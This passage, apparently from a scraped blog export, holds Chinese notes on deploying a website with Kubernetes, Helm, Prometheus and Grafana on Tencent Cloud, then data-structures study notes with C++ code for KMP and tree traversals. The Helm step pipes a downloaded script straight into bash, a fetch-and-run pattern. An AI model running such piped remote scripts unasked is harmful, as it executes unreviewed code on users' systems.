​\t其中\u0026lt;master-node-ip\u0026gt;是主节点的IP地址，\u0026lt;master-node-port\u0026gt;是主节点的端口，\u0026lt;token\u0026gt;是之前获取的加入集群的token，\u0026lt;hash\u0026gt;是证书的哈希值，也可以从主节点上获取。\n​\t运行以上命令后，节点将会自动加入Kubernetes集群。\n5.验证集群 ​\t安装完成后，使用以下命令验证集群是否正常工作：\ncsharpCopy code kubectl get nodes ​\t该命令将输出所有已连接的节点的信息，如果节点显示为Ready状态，则表示节点已成功加入集群。\n1.6 编写部署文件 1.6.1 编写deployment.yaml文件 在本地编写sirius-deployment-v1.yaml文件，上传至腾讯云服务器上的文件目录中，在执行kubectl指令，进行相关部署。\nsirius-deployment-v1.yaml文件：\napiVersion: apps/v1beta1 kind: Deployment metadata: name: sirius labels: app: sirius spec: replicas: 2 selector: matchLabels: app: sirius template: metadata: labels: app: sirius spec: containers: - name: web-v1 image: ccr.ccs.tencentyun.com/siriusspace/sirius:v2 ports: - containerPort: 8080 sirius-deployment-v2.yaml文件：\napiVersion: apps/v1beta1 kind: Deployment metadata: name: sirius labels: app: sirius spec: replicas: 2 selector: matchLabels: app: sirius template: metadata: labels: app: sirius spec: containers: - name: web-v2 image: ccr.ccs.tencentyun.com/siriusspace/sirius:v3 ports: - containerPort: 8080 执行指令：\nkubectl create -f sirius-deployment-v1.yaml 可以通过命令：\nkubectl get deployments 查看deployment的状态。\n1.6.2 通过NodePort暴露服务 编写sirius-svc-nodeport.yaml文件：\napiVersion: v1 kind: Service metadata: name: sirius-nodeport spec: type: NodePort selector: app: sirius ports: - port: 80 targetPort: 8080 nodePort: 30123 执行指令：\nkubectl create -f sirius-svc-nodeport.yaml 可以通过命令：\nkubectl get svc 1.7 配置 prometheus 和 grafna 相关功能 1.7.1 安装Helm Helm 是 Kubernetes 的包管理工具，可以用来部署各种 Kubernetes 应用，包括 Prometheus 和 Grafana。可以在终端中使用以下命令安装 Helm：\ncurl https://raw.githubusercontent.com/helm/helm/master/scripts/get-helm-3 | bash 1.7.2 安装 Prometheus 可以使用 Helm 来安装 Prometheus。先添加 Prometheus Helm chart 的仓库：\nhelm repo add prometheus-community https://prometheus-community.github.io/helm-charts 然后更新本地的 Helm chart 缓存：\nhelm repo update 使用 Helm 安装 Prometheus 了：\nhelm install prometheus prometheus-community/kube-prometheus-stack 1.7.3 安装 Grafana 可以使用 Helm 来安装 Grafana。先添加 Grafana Helm chart 的仓库：\nhelm repo add grafana https://grafana.github.io/helm-charts 然后更新本地的 Helm chart 缓存：\nhelm repo update 接下来就可以使用 Helm 安装 Grafana 了：\nhelm install grafana grafana/grafana 1.7.4 配置 Grafana 安装完成后，可以通过以下命令来获取 Grafana 的 admin 密码：\nkubectl get secret --namespace default grafana -o jsonpath=\u0026#34;{.data.admin-password}\u0026#34; | base64 --decode ; echo 将输出的密码复制下来，并使用浏览器访问 Grafana 的 Web 界面。默认的服务地址是 http://\u0026lt;Node-IP\u0026gt;:3000，其中 \u0026lt;Node-IP\u0026gt; 是 Kubernetes 节点的 IP 地址。在第一次登录时需要输入管理员用户名和密码，可以使用默认的 admin 用户名和上面获取到的密码登录。\n接下来，需要配置 Grafana 的数据源，用于连接到 Prometheus 数据库。可以通过以下步骤来配置：\n登录到 Grafana 的 Web 界面，点击左侧的“Configuration”按钮，然后选择“Data Sources”。 点击“Add data source”按钮，选择“Prometheus”作为数据源类型。 在“HTTP”一栏中，输入 Prometheus 的服务地址，即 http://prometheus-server。 点击“Save \u0026amp; Test”按钮，测试连接是否成功。 配置完成后，就可以在 Grafana 中创建 Dashboard 并展示 Prometheus 数据了。\n2.实践中遇到的困难 2.1 利用Dockerfile构建镜像出现错误 在刚开始部署的网站版本中，将网站分为了前端和后端，后端中还包含了一个MySQL数据库。网站主要实现的功能是，当用户在前端点击网页上的按钮之后，就会生成随机字符串。随机字符串是通过后端的服务产生的，并将随机产生的字符串。存储到后端的数据库中。但是它们的依赖项有很多，所以当时在用dockerfile构建镜像的时候，由于一些依赖项并没有包含进去，会导致构建镜像时和运行镜像时出现错误。\n这个时候需要将所有的依赖项通过命令行打印出来，再复制到一个文件中，将该文件包含在dockerfile中才能正确运行。有的时候，在构建镜像的时候，因为网络的原因，即使没有对需要打包的文件进行调整，也会出现因为网络问题而导致的镜像构建失败的问题。然后有时候会。进行多次操作，直至镜像构建成功。\n2.2 镜像拉取请求超时 Error response from daemon: Get \u0026#34;https://k8s.gcr.io/v2/\u0026#34;: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers) [root@VM-4-3-centos lighthouse]# sudo docker pull k8s.gcr.io/coredns/coredns:v1.8.4 Error response from daemon: Get \u0026#34;https://k8s.gcr.io/v2/\u0026#34;: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers) 有时候因为网络连接和服务器无法访问谷歌镜像仓库的原因，会导致镜像拉取出现请求超时。可以使用国内的阿里云和网易云的镜像仓库进行替换。\n2.3 在Ubuntu和CentOS上的操作命令不同 有一些命令比如安装，在Ubuntu和CentOS上的不同，在Ubuntu上是apt-get指令，在CentOS上是yum的指令。需要对指令进行熟悉操作。Ubuntu和CentOS是两种常见的Linux操作系统，它们的命令行操作有很多不同之处。其中一个主要的区别是软件包管理器的不同。在Ubuntu中，软件包管理器是APT（Advanced Package Tool），而在CentOS中，软件包管理器是Yum（Yellowdog Updater, Modified）。\n因此，安装软件包的命令在Ubuntu和CentOS上是不同的。在Ubuntu上，使用apt-get命令来安装软件包，例如：\nsudo apt-get install \u0026lt;package-name\u0026gt; 而在CentOS上，则使用yum命令来安装软件包，例如：\nsudo yum install \u0026lt;package-name\u0026gt; 2.4 kubectl的安装配置 在使用\u0026quot;kubectl cluster-info\u0026quot;查看集群相关信息的时候，会出现错误：\nThe connection to the server 10.0.4.3:6443 was refused - did you specify the right host or port? 这个错误通常表示kubectl无法与Kubernetes API Server建立连接，这可能是由于以下原因之一造成的：\nKubernetes API Server未运行或不可访问。可以尝试使用kubectl get pods \u0026ndash;all-namespaces命令来检查集群中的所有Pod是否正在运行。 Kubernetes API Server绑定到了错误的IP地址或端口。确保正在使用正确的IP地址和端口。 防火墙或网络策略阻止了连接。请确保网络设置允许与Kubernetes API Server建立连接。 Kubectl配置文件可能配置不正确。请检查您的Kubectl配置文件，确保您的API Server端口、IP地址和证书等信息正确。 2.5 使用SSH远程登陆错误 ssh ubuntu@101.35.249.58 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that a host key has just been changed. The fingerprint for the ED25519 key sent by the remote host is SHA256:8T8WjRenPMEsyVejntM6DsJ1wWAjiRp1TSTHRasRRhY. Please contact your system administrator. Add correct host key in /home/sirius/.ssh/known_hosts to get rid of this message. Offending ECDSA key in /home/sirius/.ssh/known_hosts:2 remove with: ssh-keygen -f \u0026#34;/home/sirius/.ssh/known_hosts\u0026#34; -R \u0026#34;101.35.249.58\u0026#34; Host key for 101.35.249.58 has changed and you have requested strict checking. Host key verification failed. 这个错误提示表明SSH客户端检测到远程主机的公钥与之前存储在本地known_hosts文件中的公钥不匹配。 这可能是由于中间人攻击或远程主机重新安装操作系统等原因导致的。所以，当服务器重装系统之后，需要将本地的known_hosts中的文件注释掉，再重新进行登录。\n","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E9%A1%B9%E7%9B%AE%E5%BD%92%E6%A1%A3/aorb/dev-k8s-webserver/","summary":"Service类型 在 Kubernetes 中，Service 是一种抽象的概念，用于将一组 Pod 组织在一起，并为它们提供统一的访问入口。Service 可以通过一组稳定的 IP 地址和端口号，为其他容器或外部用户提供对这些 Pod 的访问。\n为什么需要服务？ pod的存在是短暂的，当pod因为节点故障或者人为原因下线的时候，ReplicationController可以上线一个新的pod。但是新的pod和原来的pod的IP是不相同的——为了解决不断变化的pod IP地址的问题，以及在一个固定的IP和端口对外暴露多个pod。\n当一个服务被创建时，他会得到一个静态的IP，在服务的生命周期中这个IP不会发生变化。客户端应该通过这个固定IP地址连接到服务，而不是直接连接到pod。\n服务的类型 Kubernetes 中的 Service 有以下四种类型：\n1、ClusterIP 这是默认的 Service 类型，用于将 Service 暴露在集群内部。它为每个 Service 分配一个虚拟 IP 地址，可以通过该地址访问 Service 中的 Pod。ClusterIP 只能从集群内部访问，不能从集群外部访问。\n2、NodePort 这种类型的 Service 将 Service 暴露到集群外部，通过将每个节点上的端口映射到 Service 上，可以让外部用户通过任意节点的 IP 地址和映射端口访问 Service 中的 Pod。NodePort 通常用于测试和开发环境，不太适合生产环境。\n3、LoadBalancer 这种类型的 Service 可以将 Service 暴露到集群外部，并使用云提供商的负载均衡器将流量路由到 Service 中的 Pod。LoadBalancer 只能在云提供商支持的环境中使用，并且需要正确配置云提供商的负载均衡器才能正常工作。\n4、ExternalName 这种类型的 Service 可以将 Service 暴露到集群外部，但它并不会创建任何代理或负载均衡器，而只是将 Service 映射到一个 DNS 名称。这可以让您在 Kubernetes 中使用外部服务，或者在不同的命名空间中重用服务。","title":"k8s学习和实践:腾讯云轻量级服务器上搭建网站"},{"content":"一、绪论 数据（data）是信息的载体，是描述客观事物的数、字符、图形、图像、声音以及所有能输入计算机中并被计算机程序识别和处理的符号的集合。\n数据的最小单位的是数据项；\n数据的基本单位是数据元素，一个数据元素可由若干个数据项组成。\n数据结构分为两大类：线性结构和非线性结构\n两类结构通常分为四类基本结构：\n1）集合：结构中的数据元素之间同属于一个集合，此外没有其他关系；\n2）线性结构：结构中的数据元素之间存在一种线性关系，一对一的关系；\n3）树形结构：一对多的关系；\n4）图形结构或网状结构：多对多的关系。\n根据视点的不同又可分为：逻辑结构和物理结构：\n逻辑结构：面向问题，描述数据元素之间的逻辑关系；\n物理结构：又称存储结构，面向计算机，是数据结构在计算机中的表示（映像）\n算法的特性：输入性、输出性、确定性、有穷性、有效性（可行性）\n算法的标准：正确性（满足所要求界的问题的需求，最重要最基本）、可用性（便于用户使用，良好的界面、完备的用户文档）、可读性（易于理解）、效率（存储单元的开销和运行时间的耗费）、健壮性（对于非法数据的处理）\n算法复杂度：（渐进）时间复杂度和空间复杂度\n二、线性结构 1、线性表 1.1\t顺序表示：顺序表 用顺序结构存储的线性表为顺序表（sequential list）。\n顺序表一般用数组进行存储\n类模板定义：T* elems，int length，int maxLength\n1.2\t链表表示 1)\t单链表 分为带头结点和不带头结点的单链表；\n带头结点的单链表相对不带头结点的单链表在涉及会更改头节点的任务时，操作会更加统一。\n类模板定义：\n（结点）T data，Node* next\n（单链表）Node* head，int length\n2)\t双向循环链表 类模板定义：\n（结点）T data，Node* prior，Node* next\n（双向循环链表）Node* head，int length\n*带头结点的双向循环列表只有一个元素结点的条件：head-\u0026gt;next!=head \u0026amp;\u0026amp; head-\u0026gt;next-\u0026gt;next==head\n3)\t静态链表 利用数组来模拟存储空间实现链表。\n类模板定义：\n（结点）T data，Node* next\n（静态链表）Node* head，Node* avail\n设数组a放置了一个静态链表，当链表未使用的时候，其中所有的结点都是形成了一个链表，用avail进行管理，代表未使用的结点。\n当进行插入操作的时候，就从avail中取出一个头节点，进行赋值，再放入head链表之中。\n在完成每一步操作之后，记得要将next域中更改\n插入元素操作：\ni=avail; avail=a[avail].next; a[i].next=a[head],next; a[head]。next=i; 当需要释放由j所指向的结点时，只需要把结点j放到avail表的最前端，并让avail指向它即可。\n所设j所指结点的前一个结点的指针是p，则\n删除元素操作：\na[p].next=a[j],next; a[j].next=avail; avail=j; 2、栈和队列 2.1\t栈 特点：先进后出 FILO\n1)\t顺序栈（SeqStack） 类模板定义：\nint top（栈顶指针），int maxsize（栈最大容量），T* elems（元素存储空间）\n初始化时top=-1\n入栈操作push：elems[++top] = e\n出栈操作pop：e = elems[top--];\n取栈顶元素：e = elems[top];\n两个顺序栈共享一个数组空间：两个栈的栈底在数组两端，只有当两个栈的栈顶指针相遇时，才会出现栈满溢出\n2)\t链式栈（LinkStack） 与顺序栈相比，链式栈对于同时使用多个栈的情况下可以共享存储。\n类模板定义：\n（链栈）Node* top\n用单链表表示的栈，栈顶在head，栈底在链表的尾部\n3)\t应用：表达式求值 后缀表达式的计算 ​\t方法：栈放操作数，遇到数字入栈，遇到操作符就将对应数目的操作符出栈并进行运算。\n​\t判断出错：如果操作数栈中的操作数数目不到两个，或者计算结束时栈中有多个操作数时候说明后缀式出错。\n中缀表达式转为后缀表达式（用栈实现） ​\t方法：栈放操作符\n中缀表达式转为后缀表达式的简单方法 ​\t1.将中缀表达式中的每一步操作加上括号\n​\t2.每个操作符一道对应该操作的右边括号外\n​\t3.删除所有括号\n​\t验证方法：用中缀表达式构建二叉树（注意要按照顺序来构建），用后序遍历\n2.2\t队列 特点：先进先出 FIFO\n1)\t顺序循环队列 队头：允许出队；队尾：允许入队\n类模板定义：\n（队头指针）int front，（队尾指针）int rear\nint maxsize（最大容量），T* elems（元素存储空间）\n初始化队列为空，front=rear=0；（教材上的定义是这样写的，具体在做题的时候要看是否符合题目的要求）\n当队头指针front或者队尾指针rear达到maxsize-1时，就要进行求模操作。\n由于队列空和队列满的状态都是rear==front，所以用少一个存储空间的方法进行解决：\n循环队列满的条件为：(rear+1)%maxsize==front\n循环队列空的条件为：front==rear\n入队操作：rear=(rear+1)%maxsize，要先判断队列是不是满了\n出队操作：front=(fornt+1)%maxsize，要先判断队列是不是已经空了\n2)\t链式队列 用单链表表示的链队列适合数据元素变化较大的情形。\n类模板定义：（带头结点）\nNode* front（指向队列的头节点），rear（指向队尾结点）\n3)\t应用：车厢调度 2.3\t递归 尾递归\n单向递归（循环）\n用栈模拟递归\nF(m,n)=m+n+1; m*n=0; 栈和队列的应用： 数值转换，括号匹配，回文，车厢调度\n表达式求值：中缀、后缀、前缀表达式（二叉树）先序中序后序遍历\n后缀表达式求值（栈放操作数）\n中缀转后缀（栈放操作符）\n3、串、数组、广义表 1、字符串的模式匹配算法 定义：子串定位\n1)\tBrute-Force算法 BF算法基本思想：从一个位置开始向后面开始比较，当匹配失败的时候回到刚开始比较的位置的下一个位置重新开始比较。\ni表示ob中的下标，j表示模式串pat中的下标\n相等：i++;j++;继续比较\n不相等：i=i-j+1;j=0;回到原来的地方，再往前进一个位置\n最坏情况下的运行时间O(m*n)，简单但是效率低下，带回溯\n2)\tKMP算法 改进：消除了BF算法中主串下标i在对应字符中比较不相等需要回退的现象\n真子串的概念：\n在字符串“t0，t1，\u0026hellip;.，tn-1”中最长的相等前缀和后缀称为该字符串的真子串，也就是说在字串“t0，t1，\u0026hellip;，tn-1”中存在一个最大的k(0\u0026lt;k\u0026lt;n),使得“t0,t1…tk-1” = “tn-k，tn-k+1，\u0026hellip;，tn-1”，则“t0，t1，…，tk-1”就称为t0，t1，\u0026hellip;，tn-1”的真子串。需要注意的是真子串的前缀和后缀可以有重叠部分，但不能完全重叠。\nKMP算法基本思路：记录模式串每个位置前面的真子串的长度是多少，当模式串和主串在匹配的时候，遇到匹配到模式串中间部分然后不相等的情况，主串的下标i不用回溯，而模式串的下标j直接变为该位置的真子串的长度，继续比较当前的i和改变后的j。当失效函数返回-1时，表示模式串的第一个与主串中的当前对象都不相等i++;j=0;\n失效函数：用函数f[j]表示模式串中tj之前的真子串的长度。即：\n失效函数的求法：\n根据f[j]求f[j+1]，模式串pat，设f[j]=k:\n(1)pat[ j ] == pat[ k ] =\u0026gt; f[ j+1 ] = f[ j ] + 1 = k + 1;\n(2))pat[ j ] != pat[ k ] =\u0026gt; 设f[ k ] = k\u0026rsquo;，pat[ j ] == pat[ k\u0026rsquo; ] =\u0026gt; f[ k ] + 1 = k\u0026rsquo; + 1;\n//失效函数的求法 void GetFailure(const string\u0026amp; pat, int f[]) { int j = 0, k = -1; f[0] = -1;\t// 初始f[0]的值为-1 while (j \u0026lt; pat.length() - 1) { if (k == -1 || pat[k] == pat[j]) f[++j] = ++k; else // pat[k]与pat[j]不匹配 k = f[k];\t// 寻求新的匹配字符 } } 改进：先执行完普通失效函数之后，再执行下面这个函数\nvoid GetFailurePlus(const string\u0026amp; pat, int f[]) { for (int k = 1; k \u0026lt; pat.length() - 1; k++) { while (f[k]!=-1 \u0026amp;\u0026amp; pat[k] == pat[f[k]]) f[k] = f[f[k]]; } } 普通的KMP函数：\nint KMP_find(const String \u0026amp;ob, const String \u0026amp;pat, int p = 0) { int *f = new int[pat.GetLength()]; GetFailure(pat, f);\t// 求模式串pat的f数组的元素值 int i = p, j = 0;\twhile (i \u0026lt; ob.GetLength() \u0026amp;\u0026amp; j \u0026lt; pat.GetLength() \u0026amp;\u0026amp; pat.GetLength() - j \u0026lt;= ob.GetLength() - i) if (j == -1 || pat[j] == ob[i]) { i++; j++;\t} else\tj = f[j];// 寻找新的模式串pat的匹配字符位置 delete []f;\tif (j \u0026lt; pat.GetLength()) return -1; // 匹配失败 else return i - j;\t// 匹配成功 } KMP改进后的函数：\nint KMP_find_PLUS(const string\u0026amp; ob, const string\u0026amp; pat, int p)//从p位置开始查找 { //失效函数求解 int*f = new int[pat.length()]; cout \u0026lt;\u0026lt; endl \u0026lt;\u0026lt; setw(20) \u0026lt;\u0026lt;\u0026#34;原来的失效函数值：\u0026#34; \u0026lt;\u0026lt; flush; GetFailure(pat, f); cout \u0026lt;\u0026lt; endl \u0026lt;\u0026lt; setw(20) \u0026lt;\u0026lt; \u0026#34;改进后的失效函数值：\u0026#34; \u0026lt;\u0026lt; flush; GetFailurePlus(pat, f); int i = p, j = 0; //******注意要把unsigned int（.length()方法的返回值）强制转换为int，不然会出现负数大于正数，导致判断出错******** while (i \u0026lt; ob.length() \u0026amp;\u0026amp; j \u0026lt; (int)pat.length() \u0026amp;\u0026amp; pat.length() - j \u0026lt;= ob.length() - i) //当i没有到终点，j没有到终点，模式串剩余长度小于主串的剩余长度 if (j == -1 || pat[j] == ob[i]) { i++; j++; } else j = f[j]; delete[]f; //注意要把unsigned int（.length()方法的返回值）强制转换为int，不然会出现负数大于正数，导致判断出错 if (j \u0026lt;(int) pat.length())return -1; else return i - j;//返回找到的起点 return 0; } 2、数组 二维数组：行序存储和列序存储\n高维数组：行序存储和列序存储\n把它当作几个面的叠加3*4*5，当成三个4*5的面\n3、稀疏矩阵 1、 顺序结构存储：三元组顺序表 对于稀疏矩阵中的非零元素可以用：\u0026lt;row, col, value\u0026gt;进行描述他的位置\n1)\t三元组表转置函数的实现 简单转置算法：将三元组顺序表中的各个三元素的row和col内容互换，然后按照新的row中的行号从小到大进行排放。\n算法思路：把原矩阵的第i列元素通过遍历找出来，放到新矩阵的第i行，直到i遍历完cols\n时间复杂度为：O(clos*num)\n快速转置算法：按照原三元组的次序进行转置，并将转置后的三元组放置到b中的恰当位置。\n时间复杂度为：O(num)\n2)\t三元组表的绘制 2、链式结构存储：十字链表 如果矩阵中的非零元素的位置和个数经常变动，采用链式结构进行存储稀疏矩阵比较方便。\n3、其他特殊矩阵 1、对称矩阵 Aij = Aji 矩阵的压缩存储，存储对称矩阵的上三角或者下三角，按行序存储或者按列序存储\n用一维数组进行存放，注意i和j的范围，确定题目给出的i和j是在上三角还是下三角区域，按行存储还是按列存储的\nk=i*(i-1)/2+j-1(i\u0026gt;=j)(按行存储下三角、行列存储上三角)\nk=j*(j-1)/2+i-1(i\u0026lt;j)(按行存储下三角、行列存储上三角)\n2、三对角矩阵 用一维数组B[]，Bij=B[k]，则k=2i+j-3\n4、广义表 1、广义表的定义 广义表的元素可以是数据元素，也可以是一个表（称为子表）\n概念：表头、表尾、深度、长度\n​\tLS=（k，（a，m，n），b，c，（x，y））\n​\t表头：k，是一个元素或者子表，是原本的元素\n​\t表尾：一定是个表，由 广义表中除了表头的元素 构成的一个表，在这里指的是（（a，m，n），b，c，（x，y））\n​\t深度：广义表的括号重数，在这里为2；\n​\t长度：广义表最高一层的元素个数，在这里为5\n广义表通常采取链式存储结构，简称广义链表 ​\t广义链表中的结点由三个域构成：\n​\t\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;-\n​\ttag域\tref/data/hlink域\ttlink域\n​\ttag=HEAD(0)\t广义表被引用次数*\t指向表头的指针\n​\ttag=ATOM(1)\tdata\t指向同层下一个的指针\n​\ttag=LIST(2)\t指向子表的指针\t指向同层下一个的指针\n​\t\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;-\n​\t*ref：包括了头指针的引用和其他广义表的引用\n​\t广义链表类的只有一个数据成员：Node* head\n广义表的中的所有表，不论哪一层，都有一个表头结点 2、广义表的绘制 【项目调试】三元组表 1、LNK2019,LNK2005 在模板函数的在头文件的定义方面，还是应该遵守模板函数的函数体和函数声明都放在头文件里\n对于出现LNK2005的错误，此次出现的问题是重载运算符函数的时候，函数体虽然是在头文件里面，但是没有在函数类体内；\n因为成员函数体有自动生成的inline内联标签，而这两个重载的运算符函数都是友元函数的形式，故应当写在函数类体内\n2、对于有很多if-else分支的结构 应当把情况都考虑清楚，想不清楚的时候可以画一个流程图出来，帮助理清思路。\n3、判断一个串有没有遍历完 可以设置flag，当最后一次进入，在执行目标操作之前，进行判断：当此次是最后一次，flag就为true\n三、树和二叉树 1、二叉树的性质 1、有n(n\u0026gt;0)个结点的二叉树的分支数为n-1\n2、若二叉树的高度为h（h≥0），则该二叉树最少有h个结点，最多有2h-1个结点\n3、含有n个结点的二叉树的高度最大值为n，最小值为log2(n+1) 。\n4、具有 n 个结点的完全二叉树的高度为log2(n+1) 。\n5、如果将一棵有n个结点的完全二叉树自顶向下，同一层自左向右连续给结点编号0、1、2、…、n-1。则有以下关系： （1）若i＝0，则 i 无双亲，若i＞0，则 i 的双亲为i/2-1； （2）若2i+1\u0026lt;n，则 i 的左孩子为2i+1； （3）若2i+2\u0026lt;n，则 i 的右孩子为2i+2； （4）若i为偶数，且i≥1，则 i 是其双亲的右孩子，且其有编号为i-1左兄弟； （5）若i为奇数，且i＜n-1，则 i 是其双亲的左孩子，且其有编号为i+1右兄弟。\n2、二叉树的存储结构 3、遍历递归算法 1)\t前序遍历 若二叉树为空，遍历结束。否则，\n(1)访问根结点；\n(2)先序遍历根结点的左子树；\n(3)先序遍历根结点的右子树。\ntemplate\u0026lt;typename ElemType\u0026gt; inline void BinaryTree\u0026lt;ElemType\u0026gt;::PreOrder(BinTreeNode\u0026lt;ElemType\u0026gt;* r) const { if (r) { cout \u0026lt;\u0026lt; r-\u0026gt;data \u0026lt;\u0026lt; \u0026#34; \u0026#34;\u0026lt;\u0026lt;flush; this-\u0026gt;PreOrder(r-\u0026gt;leftChild); this-\u0026gt;PreOrder(r-\u0026gt;rightChild); } } 2)\t中序遍历 若二叉树为空，遍历结束。否则，\n(1)中序遍历根结点的左子树；\n(2)访问根结点；\n(3)中序遍历根结点的右子树。\n3)\t后序遍历 若二叉树为空，遍历结束。否则，\n(1)后序遍历根结点的左子树；\n(2)后序遍历根结点的右子树。\n(3)访问根结点；\n4、非递归遍历算法 中序遍历非递归算法 用栈进行处理\ntemplate\u0026lt;typename ElemType\u0026gt; inline void BinaryTree\u0026lt;ElemType\u0026gt;::NonRecurringInOrder() { SeqStack\u0026lt;ElemType\u0026gt; stack; BinTreeNode\u0026lt;ElemType\u0026gt;* p = root; while (p != NULL || !stack.empty()) { while (p != NULL) { stack.push(*p); p = p-\u0026gt;leftChild; } if (!stack.empty()) { p = new BinTreeNode\u0026lt;ElemType\u0026gt;; stack.Top(*p); stack.pop(); cout \u0026lt;\u0026lt; p-\u0026gt;data \u0026lt;\u0026lt; \u0026#34; \u0026#34;; //出栈前输出栈顶节点的值 p = p-\u0026gt;rightChild; } } } 5、线索二叉树 1)\t线索二叉树的构成 2)\t线索化二叉树 6、二叉树的应用 6.1\t堆 1)\tFilterUp和FilterDown算法 6.2\t哈夫曼树 1)\t哈夫曼树定义 2)\t构造哈夫曼树 3)\t哈夫曼编码 7、确定一棵二叉树 1、中序遍历+前序遍历/后序遍历 1.1 算法思想分析 通过上面的介绍可以看到，使用两种遍历来确定一棵二叉树的时候一定要有中序遍历。其实，这和三种遍历的自身特点是有关系的，前序遍历的顺序是先根结点，然后左子树，最后右子树，所以根结点一定在遍历结果的第一个位置上；后序遍历的顺序是，先左子树，然后右子树，最后根结点，所以根结点一定是在遍历结果的最后一个位置上。通过前序遍历和后序遍历可以确定出根结点。中序遍历的顺序是，先左子树，然后根结点，最后右子树，在遍历结果中，左右子树分别在根结点的两侧，这样就可以把左右子树区分开。可以看出，前/后序遍历和中序遍历的作用分别是：\n前序遍历或后序遍历用于确定根节点； 中序遍历用于区分左右子树； 通过两种遍历，找出了根结点，并区分开了左右子树，这样就可以确定一棵二叉树了，下面以前序遍历加中序遍历为例，一步步分析如何通过前序遍历结果和中序遍历结果来恢复一棵二叉树（后续+中序遍历的方法与之类似，此文不再分析）。\n1.2 算法流程 首先给出两个序列\n前序遍历结果：A B C D E F G\n中序遍历结果：C D B A F E G\n第一步：确定整棵树的根结点及左右子树 根据前序遍历结果确定整棵树的根结点为A ; 根据根结点和中序遍历确定左右子树的结点集合，因为A是整棵树的根结点，中序遍历的顺序是先左子树，然后根结点，最后右子树。所以，在中序遍历结果中，A结点的左侧为左子树结点集合{C, D, B}，A结点的右侧为右子树结点集合{F, E, G}； 根据分析，可以画出分析后的结果\n这样就把问题分解为{C, D, B}和{F, E, G}两个子问题，首先分析左子树\n第二步：分析左子树 找出{C, D, B}在前序遍历结果中对应的子序列A (B C D) E F G，将相应子序列拿出来{B C D}，根据前序遍历的结果可知，B为这棵子树的根结点； 找出中序遍历中该子树结点集合对应的子序列(C D B) A F E G，根据中序遍历的特点可知，{C D}为根结点B的左子树，B的右子树为空； 继续画出示意图\n分析{C，D}子序列\n第三步：继续分析左子树的左子树（B结点的左子树） 找出{C, D}在前序遍历结果中对应的子序列A B (C D) E F G，将相应子序列拿出来{C D}，根据前序遍历的结果可知，C为这棵子树的根结点； 找出中序遍历中该子树结点集合对应的子序列(C D) B A F E G，根据中序遍历的特点可知，{D}在根结点C的右侧，为根结点C的右子树，C的左子树为空； 继续画出示意图\n至此，整棵二叉树的左子树分析完毕，再用第二、三步同样的方法分析右子树{F，E，G}。\n第四步：分析右子树 找出{F，E，G}在前序遍历结果中对应的子序列A B C D (E F G)，将相应子序列拿出来{F，E，G}，根据前序遍历的特点可知，E为这棵子树的根结点； 找出中序遍历中该子树结点集合对应的子序列C D B A (F E G)，根据中序遍历的特点可知，{F}为根结点E的左子树，{G}为根结点E的右子树； 画出示意图\n整棵二叉树分析完毕，并恢复出唯一的一棵二叉树，我们对该二叉树示意图进行前序遍历和中序遍历，结果分别为A B C D E F G和C D B A F E G，与题目中给的前序遍历序列和中序遍历序列一致，证明我们恢复得到树是正确的。 ———————————————— 版权声明：本文为CSDN博主「Mindtechnist」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。 原文链接：https://blog.csdn.net/qq_43471489/article/details/123967360\n2、#号法确定：如果没有左右子树，则使用#号代替，遍历时用#代替NULL 2.1 算法思想分析 #号法确定一棵树的思想是，如果一个结点没有左右子树，也就是说如果左子树或右子树为NULL，就用一个#号代替，在遍历时给出带有#的遍历结果，既然没有左右子树就用一个#代替，那么连续两个#号前的结点一定是叶子结点，也就能确定一棵子树的结束，这样通过一种遍历的结点序列就能唯一确定一棵二叉树。\n2.2 算法流程 首先给出一个#号法前序遍历的结点序列\n前序遍历：ABC#D###EF##G##\n具体步骤： 找出后面有连续两个#的结点，D F G这三个结点就是叶子结点； 根据前序遍历可知，A是整棵树的根结点； 第一个出现连续两个#的位置为D，所以D结点应该是整棵树的左子树的结束，那么左右子树就区分开了，{B C D}为左子树，{E F G}为右子树； 分析左子树{B C D}的根结点以及左子树的左右子树。先分理出左子树序列BC#D###，因为是前序遍历，B为左子树的根结点，第一个连续两个#的位置是D，所以D结点是以B为根结点的树的左子树的结束，那么剩下的一个#就是B结点的右子树。因此，B结点的左子树集合为C#D##，B结点的右子树为#； 分析子树{C#D##}，由前序遍历特点可知，C为根结点，D为子树终点，因为D前面有一个#可知，C的左子树为#，右子树为D； 分析A的右子树{EF##G##}，E为根结点，F为左子树，G为右子树；\n———————————————— 版权声明：本文为CSDN博主「Mindtechnist」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。 原文链接：https://blog.csdn.net/qq_43471489/article/details/123967360\n2.3算法实现 template\u0026lt;class ElemType\u0026gt; inline BinTreeNode\u0026lt;ElemType\u0026gt;* BinaryTree\u0026lt;ElemType\u0026gt;::buildTree(const string\u0026amp; s,int\u0026amp; i) { if (i \u0026gt;= s.size() || s[i] == \u0026#39;#\u0026#39;) { i++; return NULL; } BinTreeNode\u0026lt;ElemType\u0026gt;* root = new BinTreeNode\u0026lt;ElemType\u0026gt;(s[i]); i++; 